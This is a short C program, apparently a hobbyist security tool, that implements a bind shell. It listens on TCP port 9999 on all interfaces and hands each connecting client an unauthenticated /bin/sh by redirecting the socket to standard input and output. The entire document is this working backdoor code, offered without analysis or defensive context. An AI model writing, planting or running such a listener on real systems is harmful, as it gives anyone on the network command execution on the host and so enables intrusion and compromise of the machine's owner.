Simple Bind Shell using Fork

MyShell.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

#define SERVER_PORT	9999
// CC-BY: Osanda Malith Jayathissa (@OsandaMalith)
int main() {
	int serverfd, clientfd, server_pid, i = 0;
	char *banner = "[~] Welcome to @OsandaMalith's Bind Shell\n";
	struct sockaddr_in server, client;
	socklen_t len;
	
	server.sin_family = AF_INET;
	server.sin_port = htons(SERVER_PORT);
	server.sin_addr.s_addr = INADDR_ANY; 

	serverfd = socket(AF_INET, SOCK_STREAM, 0);
	bind(serverfd, (struct sockaddr *)&server, sizeof(server));
	listen(serverfd, 1);

    while (1) { 
    	len = sizeof(struct sockaddr);
    	clientfd = accept(serverfd, (struct sockaddr *)&client, &len);
        server_pid = fork(); 
        if (server_pid) { 
        	write(clientfd , banner , strlen(banner));
	        for(; i <3 /*u*/; i++) dup2(clientfd, i);
	        execve("/bin/sh", (char*) 0, (char *) 0);
	        close(clientfd); 
    	} close(clientfd);
    } return 0;
}